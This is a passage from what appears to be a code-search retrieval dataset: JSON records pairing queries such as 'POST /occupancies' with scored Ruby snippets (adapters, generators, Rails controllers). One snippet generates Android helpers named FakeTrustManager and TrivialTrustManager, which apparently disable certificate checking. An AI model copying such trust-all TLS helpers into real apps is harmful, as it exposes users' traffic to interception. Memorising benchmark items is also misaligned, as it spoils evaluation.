"text": "def adapter(name=nil)\n super(name)\n end",
"title": ""
},
{
"docid": "6ab8518975e599096dcf2748687aa780",
"score": "0.48029608",
"text": "def generate\n end",
"title": ""
},
{
"docid": "cf639f77d33091e967457853b6bc8457",
"score": "0.480142",
"text": "def make(attributes = {})\n lathe = lathe_class.new(@klass, new_serial_number, attributes)\n\n lathe.instance_eval(&@block)\n each_ancestor { |blueprint| lathe.instance_eval(&blueprint.block) }\n\n lathe.object\n end",
"title": ""
},
{
"docid": "fc00cdcf5e5e45acefd2e9e7c3c5a964",
"score": "0.4791433",
"text": "def generate( parser_plan, output_directory = nil )\n generator_class = (@configuration.member?(\"mode\") and @configuration[\"mode\"] == \"code\") ? CodeOrientedGenerator : TreeOrientedGenerator\n generator = generator_class.new( @configuration )\n return generator.generate( parser_plan, output_directory )\n end",
"title": ""
},
{
"docid": "2d17bbcafdde6a081ffaa5d4c4912037",
"score": "0.47902146",
"text": "def builder; end",
"title": ""
},
{
"docid": "bb2d3f7409d8a008d0c1853b50bd6e74",
"score": "0.47799373",
"text": "def generate; end",
"title": ""
},
{
"docid": "6cc4a95eae33c6f53cd515b13dcb3680",
"score": "0.47750255",
"text": "def generate(site)\n generate_with_config(site, @lunr_config)\n end",
"title": ""
},
{
"docid": "68b5305fe18c94ee0381d2c05ae35e1e",
"score": "0.47724923",
"text": "def default_adapter=(adapter); end",
"title": ""
},
{
"docid": "68b5305fe18c94ee0381d2c05ae35e1e",
"score": "0.47724923",
"text": "def default_adapter=(adapter); end",
"title": ""
},
{
"docid": "68b5305fe18c94ee0381d2c05ae35e1e",
"score": "0.47724923",
"text": "def default_adapter=(adapter); end",
"title": ""
},
{
"docid": "68b5305fe18c94ee0381d2c05ae35e1e",
"score": "0.47724923",
"text": "def default_adapter=(adapter); end",
"title": ""
},
{
"docid": "68b5305fe18c94ee0381d2c05ae35e1e",
"score": "0.47724923",
"text": "def default_adapter=(adapter); end",
"title": ""
},
{
"docid": "9ef5107c12067f76c016295cb8db9e00",
"score": "0.4771319",
"text": "def new(password)\n generate(password)\n end",
"title": ""
},
{
"docid": "4bdc5757519dac4a386bae39bc59a044",
"score": "0.47686252",
"text": "def create(name)\n raise ArgumentError.new(\"invalid adapter name\") unless self.class.name_is_valid?(name)\n Sms::Adapters.const_get(\"#{name}Adapter\").new\n end",
"title": ""
},
{
"docid": "c37f4a71d847581696a290f770574fc4",
"score": "0.47592178",
"text": "def with_adapter(new_adapter)\n old_adapter = adapter\n self.adapter = new_adapter\n yield\n ensure\n self.adapter = old_adapter\n end",
"title": ""
},
{
"docid": "f895b2edd5ddf7ff9cdbcb02236f047c",
"score": "0.47551537",
"text": "def adapter\r\n @adapter ||= case provider\r\n when 'facebook'\r\n Facebook.new self\r\n when 'foursquare'\r\n Foursquare.new self\r\n when 'twitter'\r\n Twitter.new self\r\n when 'gowalla'\r\n Gowalla.new self\r\n when 'tumblr'\r\n Tumblr.new self\r\n end\r\n end",
"title": ""
},
{
"docid": "c1ff3ae69104c927b071b61caca6ea39",
"score": "0.47501656",
"text": "def with_makara\n if makara_adapter && !makara_adapter.hijacking?\n yield makara_adapter\n else\n yield nil\n end\n end",
"title": ""
},
{
"docid": "f6d9f0cec0ce40751440101fd2815032",
"score": "0.47457406",
"text": "def with_engine(new_adapter); end",
"title": ""
},
{
"docid": "fe8d188dd40c2ca2b368c651a0a0ed4f",
"score": "0.47447973",
"text": "def initialize(adapter)\n @adapter = adapter\n end",
"title": ""
},
{
"docid": "fe8d188dd40c2ca2b368c651a0a0ed4f",
"score": "0.47447973",
"text": "def initialize(adapter)\n @adapter = adapter\n end",
"title": ""
},
{
"docid": "d32f89a84cb82a837a481ad9c33e7a03",
"score": "0.473979",
"text": "def new\n @bit_module = BitModule.new\n @bit_modules = BitModule.all\n end",
"title": ""
},
{
"docid": "18a1da56ded588aa9050bd183c887dc4",
"score": "0.47322977",
"text": "def create identifier, object\n raise \"Adapters must implement `create`\"\n end",
"title": ""
},
{
"docid": "4c666e1a9c381a87de9cdc60865353f9",
"score": "0.4722067",
"text": "def adapter\n @adapter ||= config.adapter.new(config.options)\n end",
"title": ""
},
{
"docid": "5af76c3f491fd3559ef72a144eabedc1",
"score": "0.47107106",
"text": "def generate( parser_plan, output_directory = nil )\n STDERR.puts \"THIS GENERATOR IS IN DEVELOPMENT AND IS NOT COMPLETE!!!!\"\n # generate_lexer( parser_plan, output_directory )\n generate_parser( parser_plan, output_directory )\n STDERR.puts \"THIS GENERATOR IS IN DEVELOPMENT AND IS NOT COMPLETE!!!!\"\n end",
"title": ""
},
{
"docid": "58ec4c21e4b57a09fee1072af94b8985",
"score": "0.47022936",
"text": "def adapter\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "d376f5ed66166efe650d83c39aab6fc6",
"score": "0.46999165",
"text": "def generate_rbi(indent_level, options)\n lines = generate_comments(indent_level, options)\n lines << options.indented(indent_level, \"module #{name}\")\n lines += [options.indented(indent_level + 1, \"interface!\"), \"\"] if interface\n lines += [options.indented(indent_level + 1, \"abstract!\"), \"\"] if abstract\n lines += generate_body(indent_level + 1, options)\n lines << options.indented(indent_level, \"end\")\n end",
"title": ""
},
{
"docid": "f47c4473ccd58ae150bc17308602b0ba",
"score": "0.46951774",
"text": "def adapters\n setup\n @adapters\n end",
"title": ""
},
{
"docid": "e94625d5520da432ac8f42aa9166454b",
"score": "0.4693874",
"text": "def generate!\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "e040f6387bcbdc36b4e299550e56bd48",
"score": "0.4689383",
"text": "def for(options)\n require 'ldaptic/adapters/abstract_adapter'\n # Allow an adapter to be passed directly in for backwards compatibility.\n if defined?(::LDAP::Conn) && options.kind_of?(::LDAP::Conn)\n options = {:adapter => :ldap_conn, :connection => options}\n elsif defined?(::Net::LDAP) && options.kind_of?(::Net::LDAP)\n options = {:adapter => :net_ldap, :connection => options}\n end\n if options.kind_of?(Hash)\n options = options.inject({}) {|h,(k,v)| h[k.to_sym] = v; h}\n if options.has_key?(:connection) && !options.has_key?(:adapter)\n options[:adapter] = options[:connection].class.name.downcase.gsub('::','_')\n end\n options[:adapter] ||= default_adapter\n unless options[:adapter]\n Ldaptic::Errors.raise(ArgumentError.new(\"No adapter specfied\"))\n end\n begin\n require \"ldaptic/adapters/#{options[:adapter]}_adapter\"\n rescue LoadError\n end\n if adapter = @adapters[options[:adapter].to_sym]\n adapter.new(options)\n else\n Ldaptic::Errors.raise(ArgumentError.new(\"Adapter #{options[:adapter]} not found\"))\n end\n else\n if options.kind_of?(::Ldaptic::Adapters::AbstractAdapter)\n options\n else\n Ldaptic::Errors.raise(TypeError.new(\"#{options.class} is not a valid connection type\"))\n end\n end\n end",
"title": ""
},
{
"docid": "d27f0f98dd116af648356a69eaecf752",
"score": "0.46807185",
"text": "def generate\n end",
"title": ""
},
{
"docid": "3274ef895a37111f02df66aba6e85715",
"score": "0.46731064",
"text": "def for(object)\n # The list of all adapters\n adapters = [\n AttrPassword::Adapters::ActiveRecord,\n AttrPassword::Adapters::Ruby\n ]\n\n # Loop over each adapter\n adapters.each do |klass|\n # Create a new instance of the adapter\n adapter = klass.new(object)\n\n # Ensure the adapter is available\n next unless adapter.available?\n\n return adapter\n end\n\n nil\n end",
"title": ""
},
{
"docid": "05d14661d66e398ca1f1a3051683ae72",
"score": "0.46672505",
"text": "def initialize(ida)\n\t\t@ida = ida\n\tend",
"title": ""
},
{
"docid": "c42387e4be5e2c73a5affd566c432ef5",
"score": "0.46629813",
"text": "def aygabtu_example_for(*) end",
"title": ""
},
{
"docid": "0ae429f66c663eb924c7d8c203cd4e1e",
"score": "0.46627313",
"text": "def generate_1_0(protocol,projectName,packageName,aVersion,aOutput,mode)\n puts 'Android Generation'\n puts '------------------'\n ###################################\n # ANDROID GENERATION\n ###################################\n parameters=Hash.new\n parameters['projectName']=projectName\n parameters['packagename']=packageName+\".sgen\"\n parameters['version']=\"1.0\"\n parameters['dtos']=protocol.types\n parameters['version']=aVersion if aVersion\n parameters['fyMode']=1 if (mode && mode=='fonyou')\n\n ############ DTO-BUNDLE generation (Base DTOs)\n puts 'DTOs'\n puts '-------------'\n\n baseDir = aOutput+'/'+packageName.gsub('.','/')+\"/sgen\"\n\n baseDTODir=baseDir+\"/model/dto/base/\"\n FileUtils.mkdir_p(baseDTODir)\n\n puts \"\\tCreating Utils ... \\t FyResponse\"\n helperFile=baseDir+\"/model/dto/FyResponse.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/FyResponse.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) } unless File.exists?(helperFile)\n\n baseDTOFile=baseDTODir+'/'+projectName+\"DTOBundle.java\"\n puts \"\\tCreating Base DTO Bundle... \\t#{projectName}DTOBundle\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/android_base_dto_bundle.mustache\").read,parameters)\n File.open(baseDTOFile, 'w') { |file| file.write(res) }\n\n ############ Extended DTOs (Extended DTOs)\n dtoDir=baseDir+\"/model/dto/\"\n FileUtils.mkdir_p(dtoDir)\n protocol.types.each do |type|\n puts \"\\tCreating DTO ... \\t#{type.name}\"\n dtoFile=dtoDir+'/'+type.name+'.java'\n parameters['className']=type.name\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/android_base_dto.mustache\").read,parameters)\n File.open(dtoFile, 'w') { |file| file.write(res) } unless File.exist?dtoFile\n end\n\n ############ DAO generation\n daoDir=baseDir+\"/model/dao/\"\n FileUtils.mkdir_p(daoDir)\n puts 'DAOs'\n puts '-------------'\n protocol.types.each do |type|\n puts \"\\tCreating DAO ... \\t#{type.daoClassName}\"\n daoFile=daoDir+'/'+type.daoClassName+'.java'\n parameters['entity']=type\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/android_dao.mustache\").read,parameters)\n File.open(daoFile, 'w') { |file| file.write(res) }\n end\n\n ########### Services\n puts 'Services'\n puts '--------'\n logicBaseDir=baseDir+\"/logic/base\"\n logicDir=baseDir+\"/logic\"\n FileUtils.mkdir_p(logicBaseDir)\n protocol.services.keys.each do |serviceKey|\n puts \"\\tCreating Service ... \\t#{serviceKey}\"\n logicBaseFile=logicBaseDir+\"/Base\"+serviceKey+\"Logic.java\"\n logicFile=logicDir+'/'+serviceKey+\"Logic.java\"\n parameters['serviceName']=serviceKey\n parameters['serviceNameLower']=serviceKey.downcase\n parameters['messages']=protocol.services[serviceKey].messages\n parameters['service']=protocol.services[serviceKey];\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/android_base_service.mustache\").read,parameters)\n File.open(logicBaseFile, 'w') { |file| file.write(res) }\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/android_service.mustache\").read,parameters)\n File.open(logicFile, 'w') { |file| file.write(res) } unless File.exists?(logicFile)\n end\n\n ########## Tasks\n puts 'Tasks'\n puts '-------'\n protocol.services.keys.each do |serviceKey|\n protocol.services[serviceKey].messages.each do |message|\n puts \"\\tCreating Task ... \\t#{message.name}Task\"\n taskFileDir=baseDir+\"/tasks/\"+serviceKey.downcase\n FileUtils.mkdir_p(taskFileDir)\n taskFile=taskFileDir+'/'+message.methodUpperCase+\"Task.java\"\n parameters['message']=message\n parameters['service']=protocol.services[serviceKey]\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/android_tasks.mustache\").read,parameters)\n File.open(taskFile,\"w\"){|file| file.write(res)}\n end\n end\n\n puts \"\\tCreating TaskUtil ... \\tBetterHttpResponse\"\n helperFile=baseDir+\"/tasks/BetterHttpResponse.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/better_http_response.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating TaskUtil ... \\tBetterHttpResponseImpl\"\n helperFile=baseDir+\"/tasks/BetterHttpResponseImpl.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/better_http_response_impl.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating TaskUtil ... \\tNotifiedHttpRequest\"\n helperFile=baseDir+\"/tasks/NotifiedHttpRequest.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/notified_http_request.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n ######### Utils\n puts 'UTILS'\n puts '--------------'\n FileUtils.mkdir_p(baseDir+\"/logic/utils/\")\n puts \"\\tCreating Utils ... \\t AdditionalICSKeyStoresSSLSocketFactory\"\n helperFile=baseDir+\"/logic/utils/AdditionalICSKeyStoresSSLSocketFactory.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/AdditionalICSKeyStoresSSLSocketFactory.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating Utils ... \\t AdditionalKeyStoresSSLSocketFactory\"\n helperFile=baseDir+\"/logic/utils/AdditionalKeyStoresSSLSocketFactory.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/AdditionalKeyStoresSSLSocketFactory.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating Utils ... \\tCustomSSLSocketFactory\"\n helperFile=baseDir+\"/logic/utils/CustomSSLSocketFactory.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/CustomSSLSocketFactory.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating Utils ... \\t EasySSLSocketFactory\"\n helperFile=baseDir+\"/logic/utils/EasySSLSocketFactory.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/EasySSLSocketFactory.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating Utils ... \\t FakeSocketFactory\"\n helperFile=baseDir+\"/logic/utils/FakeSocketFactory.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/FakeSocketFactory.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating Utils ... \\t FakeTrustManager\"\n helperFile=baseDir+\"/logic/utils/FakeTrustManager.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/FakeTrustManager.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) } \n\n puts \"\\tCreating Utils ... \\tHttpClientHelper\"\n helperFile=baseDir+\"/logic/utils/HttpClientHelper.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/HttpClientHelper.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating Utils ... \\tServiceException\"\n helperFile=baseDir+\"/logic/ServiceException.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/service_exception.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating Utils ... \\tServiceExceptionListener\"\n helperFile=baseDir+\"/logic/ServiceExceptionListener.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/service_exception_listener.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) }\n\n puts \"\\tCreating Utils ... \\t TrivialTrustManager\"\n helperFile=baseDir+\"/logic/utils/TrivialTrustManager.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/TrivialTrustManager.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) } \n\n ############ Helper if needed\n puts 'HELPERS'\n puts '--------------'\n puts \"\\tCreating Helper ... \\t#{projectName}Helper\"\n helperFile=baseDir+\"/logic/\"+projectName+\"Helper.java\"\n res=Mustache.render(File.open(\"templates/android/\"+aVersion+\"/android_helper.mustache\").read,parameters)\n File.open(helperFile, 'w') { |file| file.write(res) } unless File.exists?(helperFile)\n end",
"title": ""
},
{
"docid": "9d50e30e9c3f41717d670523d00ee799",
"score": "0.46539205",
"text": "def Builder; end",
"title": ""
},
{
"docid": "b7bdc4245f8097c5007be6be0a6f7727",
"score": "0.46384025",
"text": "def adapt!\n extend Seedlings::ActiveModel\n end",
"title": ""
},
{
"docid": "7989ef299e86700f5d96717302e30be6",
"score": "0.46289444",
"text": "def jiak_create(jiak) # :nodoc:\n read_converter.each do |attr,blk|\n key = attr.to_s\n jiak[key] = blk.call(jiak[key])\n end\n new(jiak)\n end",
"title": ""
},
{
"docid": "bf7b65e10dc22e8f16eea8b18d2e2629",
"score": "0.4628248",
"text": "def new\n Class.new(Jormungandr::Model)\n end",
"title": ""
},
{
"docid": "8baa7889ffe58b24bfda65c5b3c4c7b6",
"score": "0.46251315",
"text": "def to_xml(opts = {})\n builder = Builder::XmlMarkup.new(:indent => opts[:indent] || 0)\n builder.instruct!\n builder.cartridge_basiclti_link(\"xmlns\" => \"http://www.imsglobal.org/xsd/imslticc_v1p0\",\n \"xmlns:blti\" => 'http://www.imsglobal.org/xsd/imsbasiclti_v1p0',\n \"xmlns:lticm\" => 'http://www.imsglobal.org/xsd/imslticm_v1p0',\n \"xmlns:lticp\" => 'http://www.imsglobal.org/xsd/imslticp_v1p0',\n \"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\",\n \"xsi:schemaLocation\" => \"http://www.imsglobal.org/xsd/imslticc_v1p0 http://www.imsglobal.org/xsd/lti/ltiv1p0/imslticc_v1p0.xsd http://www.imsglobal.org/xsd/imsbasiclti_v1p0 http://www.imsglobal.org/xsd/lti/ltiv1p0/imsbasiclti_v1p0p1.xsd http://www.imsglobal.org/xsd/imslticm_v1p0 http://www.imsglobal.org/xsd/lti/ltiv1p0/imslticm_v1p0.xsd http://www.imsglobal.org/xsd/imslticp_v1p0 http://www.imsglobal.org/xsd/lti/ltiv1p0/imslticp_v1p0.xsd\"\n ) do |blti_node|\n\n %w{title description launch_url secure_launch_url icon secure_icon}.each do |key|\n blti_node.blti key.to_sym, self.send(key) if self.send(key)\n end\n\n vendor_keys = %w{name code description url}\n if vendor_keys.any? { |k| self.send(\"vendor_#{k}\") } || vendor_contact_email\n blti_node.blti :vendor do |v_node|\n vendor_keys.each do |key|\n v_node.lticp key.to_sym, self.send(\"vendor_#{key}\") if self.send(\"vendor_#{key}\")\n end\n if vendor_contact_email\n v_node.lticp :contact do |c_node|\n c_node.lticp :name, vendor_contact_name\n c_node.lticp :email, vendor_contact_email\n end\n end\n end\n end\n\n if !@custom_params.empty?\n blti_node.tag!(\"blti:custom\") do |custom_node|\n @custom_params.keys.sort.each do |key|\n val = @custom_params[key]\n custom_node.lticm :property, val, 'name' => key\n end\n end\n end\n\n if !@extensions.empty?\n @extensions.keys.sort.each do |ext_platform|\n ext_params = @extensions[ext_platform]\n blti_node.blti(:extensions, :platform => ext_platform) do |ext_node|\n ext_params.keys.sort.each do |key|\n val = ext_params[key]\n if val.is_a?(Hash)\n ext_node.lticm(:options, :name => key) do |type_node|\n val.keys.sort.each do |p_key|\n p_val = val[p_key]\n type_node.lticm :property, p_val, 'name' => p_key\n end\n end\n else\n ext_node.lticm :property, val, 'name' => key\n end\n end\n end\n end\n end\n\n blti_node.cartridge_bundle(:identifierref => @cartridge_bundle) if @cartridge_bundle\n blti_node.cartridge_icon(:identifierref => @cartridge_icon) if @cartridge_icon\n\n end\n end",
"title": ""
},
{
"docid": "9b272b366594d8f9dadc3375760abc00",
"score": "0.4624664",
"text": "def new_from_bin(view); end",
"title": ""
},
{
"docid": "ca8175b842136706feb37785d1f8baea",
"score": "0.4623682",
"text": "def generate_types\n pal.generate_types(cache: true)\n end",
"title": ""
},
{
"docid": "bea60fd84b3446580424e132095ee4e0",
"score": "0.46194857",
"text": "def data_adapter\n @data_adapter ||= \"RademadeAdmin::Model::Adapter::Data::#{orm_type}\".constantize.new(@model)\n end",
"title": ""
},
{
"docid": "d69b95bb6bf4931175982afd7e089fab",
"score": "0.46141857",
"text": "def store(adapter, opts = {})\n @db = (case adapter\n when :cabinet then use_cabinet\n when :tyrant then use_tyrant\n else raise(\n InvalidAdapter.new(\n 'Invalid Adapter. Try :cabinet or :tyrant.'\n )\n )\n end).new(opts)\n end",
"title": ""
},
{
"docid": "17c8ad76df08bc4989e7f8dda0115d60",
"score": "0.46140516",
"text": "def load_adapter(name)\n assert_kind_of 'name', name, String, Symbol\n\n lib = \"#{name}_adapter\"\n file = DataMapper.root / 'lib' / 'dm-core' / 'adapters' / \"#{lib}.rb\"\n\n if file.file?\n require file\n else\n require lib\n end\n end",
"title": ""
},
{
"docid": "bc09164d0c3c2043a1f17481395bc27b",
"score": "0.46120772",
"text": "def new\n vowels = %w[a u e o i].sample(2)\n array_letters = ('a'..'z').to_a\n @letters = array_letters.sample(8)\n @letters << vowels\n @letters = @letters.flatten\n end",
"title": ""
},
{
"docid": "2177edf6d36bcc366fcca033b86b5f4b",
"score": "0.46077925",
"text": "def new(size=SHORT)\n generate(size)\n end",
"title": ""
},
{
"docid": "d8791b3e1ef33e932d1a68b6ee61f0c4",
"score": "0.45986024",
"text": "def new\n @realm = Realm.new\n @realm.idp = Realm::Idp.new\n end",
"title": ""
},
{
"docid": "d8791b3e1ef33e932d1a68b6ee61f0c4",
"score": "0.45986024",
"text": "def new\n @realm = Realm.new\n @realm.idp = Realm::Idp.new\n end",
"title": ""
},
{
"docid": "9eb9d3659ad10c7eba01c52f28e30503",
"score": "0.459798",
"text": "def snippet_generators; end",
"title": ""
},
{
"docid": "9d93d0a12dddcd7d8b685eeb79f32797",
"score": "0.4597344",
"text": "def build(mapper)\n adapter_configs.each do |name, config|\n @adapters[name] = config.__send__(:build, mapper)\n @adapters.default = @adapters[name] if default?(config)\n end\n end",
"title": ""
},
{
"docid": "8372b7e726544f83ab2a8a31d173c899",
"score": "0.45932287",
"text": "def network_adapter(slot, type, **opts)\n @network_adapters[slot] = [type, opts]\n end",
"title": ""
},
{
"docid": "8372b7e726544f83ab2a8a31d173c899",
"score": "0.45932287",
"text": "def network_adapter(slot, type, **opts)\n @network_adapters[slot] = [type, opts]\n end",
"title": ""
},
{
"docid": "9fb6eb1be7d0c9a78c7047e456312a9e",
"score": "0.45932263",
"text": "def create_account_link\n $tracer.trace(__method__)\n # unit_test_no_generate: create_account_link, a.className(create_ats_regex_string(\"ats-create-account-link\"))\n return ToolTag.new(a.className(create_ats_regex_string(\"ats-create-account-link\")), __method__, self)\n end",
"title": ""
},
{
"docid": "cc6b39a5eb509ef85e1d0192cf7e6a7c",
"score": "0.45915022",
"text": "def adapter=(_arg0); end",
"title": ""
},
{
"docid": "cc6b39a5eb509ef85e1d0192cf7e6a7c",
"score": "0.45915022",
"text": "def adapter=(_arg0); end",
"title": ""
}
] |
cf0d3e17c530680de31d136e6b5d7a0f
|
POST /occupancies POST /occupancies.xml
|
[
{
"docid": "b828123e840921f1f19e234acd841508",
"score": "0.6557069",
"text": "def create\n @occupancy = Occupancy.new(params[:occupancy])\n @occupancy.location = @location\n \n respond_to do |format|\n if @occupancy.save\n flash[:notice] = 'Occupancy was successfully created.'\n format.html { redirect_to(@location) }\n format.xml { render :xml => @occupancy, :status => :created, :location => @occupancy }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @occupancy.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "3bd7bce06e1e64ffda6383724700a381",
"score": "0.6538107",
"text": "def create\n @occupant = Occupant.new(params[:occupant])\n\n respond_to do |format|\n if @occupant.save\n format.html { redirect_to @occupant, notice: 'Occupant was successfully created.' }\n format.json { render json: @occupant, status: :created, location: @occupant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @occupant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3cb9a6fe52e54c8ced2b5e0463090389",
"score": "0.6320449",
"text": "def create\n @occupationclassification = Occupationclassification.new(params[:occupationclassification])\n\n respond_to do |format|\n if @occupationclassification.save\n flash[:success] = \"Occupation classification was successfully created.\"\n format.html { redirect_to @occupationclassification }\n format.xml { render :xml => @occupationclassification, :status => :created, :location => @occupationclassification }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @occupationclassification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c49839c90727ecd32ec41aafd58c8f3",
"score": "0.6247659",
"text": "def occupation_params\n params.require(:occupation).permit(:name)\n end",
"title": ""
},
{
"docid": "bd618ef38648abc2814f78b847b93729",
"score": "0.61776537",
"text": "def create\n @room_occupation = RoomOccupation.new(room_occupation_params)\n\n respond_to do |format|\n if @room_occupation.save\n format.html { redirect_to @room_occupation, notice: 'Room occupation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @room_occupation }\n else\n format.html { render action: 'new' }\n format.json { render json: @room_occupation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd3f1781af6191006c0a4c9b0ea9a978",
"score": "0.6069772",
"text": "def create\n @occupied_room = OccupiedRoom.new(occupied_room_params)\n\n respond_to do |format|\n if @occupied_room.save\n format.html { redirect_to @occupied_room, notice: 'Occupied room was successfully created.' }\n format.json { render :show, status: :created, location: @occupied_room }\n else\n format.html { render :new }\n format.json { render json: @occupied_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6514ea2e4dafc218265e36e793c02853",
"score": "0.60295",
"text": "def index\n @occupancies = @location.occupancies\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @occupancies }\n end\n end",
"title": ""
},
{
"docid": "a5c60d37735815a158d79f520821dfc1",
"score": "0.58663017",
"text": "def create\n # Adding user id to saved occupations, see omrails, Add Associations . . ., 26:00\n @occupation = current_user.occupations.new(params[:occupation])\n\n #http://stackoverflow.com/questions/6480713/how-to-get-the-post-id-in-rails 10 SEPT 2013\n @skill = current_user.skills.new(params[:skill])\n @skill.occupation = Occupation.find(params[:occupation_id])\n\n respond_to do |format|\n if @occupation.save\n format.html { redirect_to @occupation, notice: 'Occupation was successfully created.' }\n format.json { render json: @occupation, status: :created, location: @occupation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @occupation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "55a532c40a646cd17b6a1ba1999818d6",
"score": "0.58224344",
"text": "def create\n event = Event.find(params[:event_id])\n @occupant = Occupant.new(params[:occupant])\n @occupant.event = event\n \n respond_to do |format|\n if @occupant.save\n format.html { redirect_to event_url(@occupant.event),\n notice: 'Occupant request was successfully created.' }\n format.json { render json: @occupant, status: :created, location: @occupant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @occupant.errors, status: :unprocessable_entity }\n end\n end\n expire_fragment \"event-#{@occupant.event.id}\"\n end",
"title": ""
},
{
"docid": "2fd57808f6a48598b821cdea6e3eb69b",
"score": "0.5817718",
"text": "def new\n @occupancy = Occupancy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occupancy }\n end\n end",
"title": ""
},
{
"docid": "04d07bf9776f88682335fcae54b28480",
"score": "0.5771734",
"text": "def new\n @occupationclassification = Occupationclassification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occupationclassification }\n end\n end",
"title": ""
},
{
"docid": "fc673bf5209de57b63ca23b7f4f4525b",
"score": "0.56806684",
"text": "def set_occupation\n @occupation = Occupation.find(params[:id])\n end",
"title": ""
},
{
"docid": "3a8d89822f10228f2c9e0c686f3e5299",
"score": "0.567549",
"text": "def new\n # Adding user id to saved occupations, see omrails, Add Associations . . ., 26:00\n @occupation = current_user.occupations.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @occupation }\n end\n end",
"title": ""
},
{
"docid": "9cf96f38dc025371acec30fef5762fc2",
"score": "0.56679565",
"text": "def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"title": ""
},
{
"docid": "0e1e48365c8b98cda5bc8d6c56c23ba6",
"score": "0.5515048",
"text": "def new\n @occupant = Occupant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @occupant }\n end\n end",
"title": ""
},
{
"docid": "a31d32d9a258e2d5bdbca497dd373068",
"score": "0.5457461",
"text": "def create\n neo = Neography::Rest.new\n city = neo.create_node(params[:city])\n redirect_to cities_path\n end",
"title": ""
},
{
"docid": "c61c291334ab925f9c72bcadf77d2fad",
"score": "0.5424777",
"text": "def room_occupation_params\n params.require(:room_occupation).permit(:booking_id_id, :start_at, :end_at, :days)\n end",
"title": ""
},
{
"docid": "9a939cf2df3c66cbd133262bf01a143e",
"score": "0.5416351",
"text": "def create\n @industry = Industry.new(params[:industry])\n\n respond_to do |format|\n if @industry.save\n flash[:notice] = 'Industry was successfully created.'\n format.html { redirect_to(@industry) }\n format.xml { render :xml => @industry, :status => :created, :location => @industry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @industry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bee1cc25fdbf32da90dd6d4190c6f37",
"score": "0.5405961",
"text": "def create\n @county = County.new(params[:county])\n\n respond_to do |format|\n if @county.save\n flash[:notice] = 'County was successfully created.'\n format.html { redirect_to(@county) }\n format.xml { render :xml => @county, :status => :created, :location => @county }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @county.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9bd401810536d224b81dc30844db8891",
